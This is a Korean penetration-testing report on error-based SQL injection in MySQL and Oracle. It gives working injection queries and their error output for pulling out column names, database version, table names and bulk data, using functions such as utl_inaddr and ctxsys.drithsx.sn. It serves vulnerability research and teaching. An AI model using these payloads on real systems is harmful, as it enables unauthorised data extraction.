

	중국 보안 동향 분석 보고서	Document No.
		SKInfosec-CHR-034

## Error-based Injection in MySQL and Oracle



이 동 현  
(dhclub20@naver.com)

SK Infosec Co., Inc  
MSS 사업본부 침해 대응팀 모의해킹파트

기술 문서	Error-based Injection in MySQL and Oracle	Document No.
중국어보안동향		SKInfosec-CHR-034

## Table of Contents

1. 개요 .....	3
1.1. 배경 .....	3
1.2. 목적 .....	4
2. Error-based Injection in MySQL .....	4
2.1. Vulnerability conditions .....	4
2.2. Column names through error messages .....	4
3. Error-based Injection in Oracle .....	6
3.1. Vulnerability conditions .....	6
3.2. Error messages .....	6
4. 결론 .....	10
5. Reference .....	10

기술 문서	Error-based Injection in MySQL and Oracle	Document No.
중국어보안동향		SKInfosec-CHR-034

# 1. 개요

## 1.1. 배경

SQL Injection의 공격기법 중 Error-based Injection은 Blind Injection과 마찬가지로 칼럼수와 칼럼타입을 맞추거나 출력페이지 없이도 단방향 페이지만으로 공격 가능한 유용한 공격기법이다. 하지만 Blind Injection의 경우 많은 시간이 걸리고 수 천줄 이상의 로그를 남기게 된다. 반면에 Error-based 은 시간적으로도 훨씬 적게 걸리고 그리 많은 양의 로그를 남기지 않는다. (물론 에러페이지가 발생할 경우를 가정해야 한다.)

대부분의 공격리포트나 침해사고시 Error-based Injection 은 MS-SQL에 국한되어 있다. 그럼 MySQL과 Oracle에서는 불가능한 것일까? 혹시 저자만 이렇게 생각했거나 모르고 있었던 것인가? 만약, 이 문서에서 소개할 방법 외에 MySQL과 Oracle에서의 Error-based Injection 을 알고 있다면 저자에게 메일을 주길 바란다. 기꺼이巨하게 술 한잔 살 것이다.

MySQL과 Oracle 환경에서의 에러메시지는 MS-SQL의 에러메시지 보다 덜 자세한 메시지를 보여준다. MS-SQL은 자세한 에러메시지를 통해 오류 부분을 정확히 판단할 수 있지만 단점으로 너무 정확한 에러메시지를 통해 공격자에 의해 악의적으로 이용될 수 있게 된다. 하지만 MySQL과 Oracle에서의 에러메시지는 정확한 오류 부분을 알기 힘들고 더불어 공격자들도 악의적으로 이용하기에 쉽지 않았다. 그럼 MS-SQL는 왜 자세히 에러메시지를 보여줄까? 해커들이 쉽게 해킹할 수 있도록 MS에서 배려한 것일까? 천만의 말씀이다. 이유인즉, 해킹이 아니라면 이러한 방법은 개발자들에게는 아주 좋은 방법이다. 정확히 어떤 부분에서 오류가 발생하는지 찾기 쉽기 때문이다.

그럼 이제부터 MySQL과 Oracle에서의 Error-based Injection 에 대해 살펴보겠다. [그림1],[그림2]는 일반적인 Error-based 공격 명령에 대한 DBMS 반환 error message 다. (MySQL 의 경우 Empty로 처리되어 반환 message가 없다.)

```
오류 형식:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]
nvarchar 값 'DB[ ]'을(를) int 데이터 형식의
열로 변환하는 중 구문 오류가 발생했습니다.
```

[그림 1. MS-SQL error message]

```
ERROR:
ORA-01722: 수치가 부적합합니다
```

[그림 2. Oracle error message]

기술 문서	Error-based Injection in MySQL and Oracle	Document No.
중국어보안동향		SKInfosec-CHR-034

## 1.2. 목적

본 문서의 목적은 취약점 분석을 통해 침해사고를 사전에 예방 하는데 있으며, 악의적인 목적으로 사용할 경우 법적인 책임은 본인에게 있음을 명시 합니다.

## 2. Error-based Injection in MySQL

### 2.1. Vulnerability conditions

필요조건이 있다. Table name을 알고 해당 column이 not null 이어야 하며 5.1 이하 버전이어야 한다. 5.1버전에서 수정되었다. 그러나 테스트환경 버전인 5.0.21과 5.0.24에서는 취약점이 발생하였으나 5.0.37에서는 발생하지 않았다.

Injection Point에서의 not null 유무는 관계없으며 추출하고자 하는 column에서만 영향을 받는다. 또한 column의 개수만 맞춰주면 되고 칼럼타입은 상관이 없다.

```

+-----+-----+-----+-----+-----+-----+
| Field | Type          | Null | Key | Default | Extra |
+-----+-----+-----+-----+-----+-----+
| seq   | int(20)       | NO   | PRI |          |       |
| id    | varchar(50)   | NO   |     |          |       |
| passwd| varchar(50)   | NO   |     |          |       |
| address| varchar(100)  | NO   |     |          |       |
| phone | varchar(50)   | NO   |     |          |       |
| team  | varchar(100)  | NO   |     |          |       |
+-----+-----+-----+-----+-----+-----+
6 rows in set (0.00 sec)

```

[그림 3. Column Not null]

### 2.2. Column names through error messages

추출하고자 하는 칼럼위치에 null 값을 입력할 경우 해당 칼럼이 not null 이면 오류 메시지와 함께 해당 Column name 이 노출된다.

```

+-----+-----+-----+-----+-----+-----+
| seq | id      | passwd | address | phone      | team |
+-----+-----+-----+-----+-----+-----+
| 1   | asdf    | qwer   | asdf    | 010-1234-1234 | werq |
| 2   | dhclub20 | qwer   | earth   | 010-124-1234 | hust |
| 3   | admin   | passwd | earth   | 010-124-1234 | hust |
+-----+-----+-----+-----+-----+-----+
3 rows in set (0.00 sec)

mysql> select * from test_pt where no=4321 and (select * from test_member)=(1);
ERROR 1241 (21000): Operand should contain 6 column(s)

```

[그림 4. Column count extraction]

```

mysql> select * from test_pt where no=4321 and (1,2,3,4)=(select * from
test_xxx union select 1,2,3,4 limit 1);
ERROR 1146 (42S02): Table 'test.pt.test xxx' doesn't exist

```

[그림 5. DB Name extraction]

```

+-----+-----+-----+-----+-----+-----+
| Field | Type          | Null | Key | Default | Extra |
+-----+-----+-----+-----+-----+-----+
| seq   | int(20)       | NO   | PRI |         |       |
| id    | varchar(50)   | NO   |     |         |       |
| passwd | varchar(50)   | NO   |     |         |       |
| address | varchar(100) | NO   |     |         |       |
| phone | varchar(50)   | NO   |     |         |       |
| team  | varchar(100) | NO   |     |         |       |
+-----+-----+-----+-----+-----+-----+
6 rows in set (0.00 sec)

mysql> select * from test_pt where no=4321 and (1,2,3,4,5,6)=(select
* from test_member union select 1,2%0,3,4,5,6 limit 1);
ERROR 1048 (23000): Column 'id' cannot be null
mysql> select * from test_pt where no=4321 and (1,2,3,4,5,6)=(select
* from test_member union select 1,2,3%0,4,5,6 limit 1);
ERROR 1048 (23000): Column 'passwd' cannot be null
mysql> select * from test_pt where no=4321 and (1,2,3,4,5,6)=(select
* from test_member union select 1,2,3,4%0,5,6 limit 1);
ERROR 1048 (23000): Column 'address' cannot be null

```

[그림 6. Column name extraction]

기술 문서	Error-based Injection in MySQL and Oracle	Document No.
중국어보안동향		SKInfosec-CHR-034

### 3. Error-based Injection in Oracle

#### 3.1. Vulnerability conditions

테스트환경은 9i, 10g, 11g 이며 모두 취약점이 발생한다. 특별한 조건은 없으며 버전에 따라 쿼리문이 다르다. 취약점 원인은 특정 함수에서 인자값의 오류 부분을 출력해 주는 특성으로 인해 발생한다. 이를 통하여 MS-SQL error-based 와 같은 현상이 발생할 뿐만 아니라, 한번에 대량 추출 또한 가능하여 단시간 신속하게 진행할 수 있게 된다.

#### 3.2. Error messages

9i 부터 살펴 보겠다.

utl\_inaddr.get\_host\_name()와 utl\_inaddr.get\_host\_address()의 경우 보통 개발자들이 host name과 host address를 변환할 때 사용하는 함수이다. 하지만 오류가 발생할 경우 인자값의 오류 부분을 자세히 출력해 주는 특성을 갖고 있어 악의적으로 사용할 경우 [그림7], [그림8] 와 같은 현상이 발생한다.

```
SQL> select * from [ ] where [ ]tno='10' or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1));
ERROR:
ORA-29257: 알 수 없는 Oracle9i Enterprise Edition Release 9.2.0.1.0 -
Production 호스트
ORA-06512: "SYS.UTL_INADDR", 줄 35에서
ORA-06512: "SYS.UTL_INADDR", 줄 40에서
ORA-06512: 줄 1에서
```

[그림 7. Version extraction]

```
SQL> select * from [ ] where [ ]tno='10' or 1=utl_inaddr.get_host_address((select table_name from a11_tables where rownum=1));
ERROR:
ORA-29257: 알 수 없는 DUAL 호스트
ORA-06512: "SYS.UTL_INADDR", 줄 35에서
ORA-06512: "SYS.UTL_INADDR", 줄 40에서
ORA-06512: 줄 1에서
```

[그림 8. Table extraction]

기술 문서	Error-based Injection in MySQL and Oracle	Document No.
중국어보안동향		SKInfosec-CHR-034

10g 역시 9i와 마찬가지로 utl\_inaddr.get\_host\_name()와 utl\_inaddr.get\_host\_address()를 이용하여 같은 현상이 나타난다.

```
SQL> select * from [redacted]_ap where name='[redacted]'m' or 1=utl_inaddr.get_host_name((select banner from v$version where rownum=1));
ERROR:
ORA-29257: host Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod unknown
ORA-06512: at "SYS.UTL_INADDR", line 4
ORA-06512: at "SYS.UTL_INADDR", line 35
ORA-06512: at line 1
```

[그림 9. Version extraction]

```
SQL> select * from [redacted]_ap where name='[redacted]'em' or 1=utl_inaddr.get_host_name((select table_name from all_tables where rownum=1));
ERROR:
ORA-29257: host DUAL unknown
ORA-06512: at "SYS.UTL_INADDR", line 4
ORA-06512: at "SYS.UTL_INADDR", line 35
ORA-06512: at line 1
```

[그림 10. Table extraction]

10g에서 9i와 다른점이 있다면 CTXSYS.DRITHSX.SN() 도 사용 가능하다는 것이다.

[그림11] 처럼 같은 현상이 발생하는 것을 볼수 있다.

```
SQL> select * from [redacted]_ap where name='[redacted]'em' or 1=CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))
ERROR:
ORA-20000: Oracle Text error:
DRG-11701: thesaurus Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod does not exist
ORA-06512: at "CTXSYS.DRUE", line 160
ORA-06512: at "CTXSYS.DRITHSX", line 538
ORA-06512: at line 1
```

[그림 11. Version extraction]

이번엔 11g에 대해 살펴보겠다.

결론부터 말하면 위에서 사용한 utl\_inaddr.get\_host\_name() 와 utl\_inaddr.get\_host\_address() 를 사용할 경우 아래 그림과 같이 에러메시지가 발생하며 적용되지 않는다.

```
SQL> select * from [ ] where [ ]p='10' or 1=utl_inaddr.get_host_address((
ct banner from v$version where rownum=1));
ERROR:
ORA-24247: 네트워크 액세스가 ACL<액세스 제어 목록>에 의해 거부되었습니다.
ORA-06512: "SYS.UTL_INADDR", 줄 19에서
ORA-06512: "SYS.UTL_INADDR", 줄 40에서
ORA-06512: 줄 1에서
```

[그림 12. Network access denied message]

아쉽게도 11g 에서는 불가능할 것일까? 다행이게도 11g에서는 다른 함수를 사용하여 같은 현상을 발생시킬 수 있다. 10g에서도 지원되는 ordsys.ord\_dicom.getmappingxpath() 와 ctxsys.drithsx.sn() 를 사용할 경우 아래[그림13], [그림14]처럼 같은 효과를 얻을 수 있다.

```
SQL> select * from [ ] where [ ]p='10' or 1=ctxsys.drithsx.sn(1,(select t
_name from all_tables where rownum=1));
ERROR:
ORA-20000: Oracle Text 오류:
DRG-11701: DUAL 키워드 사전이 존재하지 않습니다
ORA-06512: "CTXSYS.DRUE", 줄 160에서
ORA-06512: "CTXSYS.DRITHSX", 줄 538에서
ORA-06512: 줄 1에서
```

[그림 13. Table extraction]

```
SQL> select * from [ ]t where [ ]p='10' or 1=ordsys.ord_dicom.getmappingxp
(select banner from v$version where rownum=1),user,user);
ERROR:
ORA-53044: 잘못된 태그: ORACLE DATABASE 11G ENTERPRISE EDITION RELEASE
11.1.0.6.0 - PRODUCTION
ORA-06512: "ORDSYS.ORDERROR", 줄 5에서
ORA-06512: "ORDSYS.ORD_DICOM_ADMIN_PRU", 줄 1137에서
ORA-06512: "ORDSYS.ORD_DICOM_ADMIN_PRU", 줄 272에서
ORA-06512: "ORDSYS.ORD_DICOM_ADMIN_PRU", 줄 6004에서
ORA-06512: "ORDSYS.ORD_DICOM", 줄 756에서
ORA-06512: 줄 1에서
```

[그림 14. Version extraction]

기술 문서	Error-based Injection in MySQL and Oracle	Document No.
중국어보안동향		SKInfosec-CHR-034

보통의 error-based는 one data and one print를 기본으로 하여 적용시키지만 11g에서 제공되는 stragg() 함수를 사용하면 multiple data and one print가 가능하여 MS-SQL error-based 처럼 one by one 방식의 수고를 덜어줄 수 있는 아주 효율적인 방법이다. 즉, union injection과 같이 대량 추출이 가능하다는 것이다.(단, 최대4000Byte까지 가능하므로 그 범위 내에서 해야 한다.)

```
SQL> select * from dept where deptno='10' or 1=ctxsys.drithsx.sn(1,(select sy
tragg(distinct table_name!!';') from all_tables where rownum<10));
ERROR:
ORA-20000: Oracle Text 오류:
DRG-11701:
AUDIT_ACTIONS;DEF$_TEMP$_LOB;DUAL;HS$_PARALLEL_METADATA;HS_BULKLOAD_VIEW_OBJ;
ARTITION_COL_NAME;STMT_AUDIT_OPTION_MAP;SYSTEM_PRIVILEGE_MAP;TABLE_PRIVILEGE
; 키워드 사전이 존재하지 않습니다
ORA-06512: "CTXSYS.DRUE", 줄 160에서
ORA-06512: "CTXSYS.DRITHSX", 줄 538에서
ORA-06512: 줄 1에서
```

[그림 15. multiple data extraction]

기술 문서	Error-based Injection in MySQL and Oracle	Document No.
중국어보안동향		SKInfosec-CHR-034

#### 4. 결론

Error-based Injection은 MS-SQL에만 한정되어 있다고 알려져 있지만 위의 내용과 같이 MySQL과 Oracle 환경에서도 가능하다는 것을 확인할 수 있다.

대응방안은 간단하다. 기존의 인젝션 필터링을 제대로 하고 있다면 문제될 것은 없다.

#### 5. Reference

<http://websec.wordpress.com>

<http://www.red-database-security.com>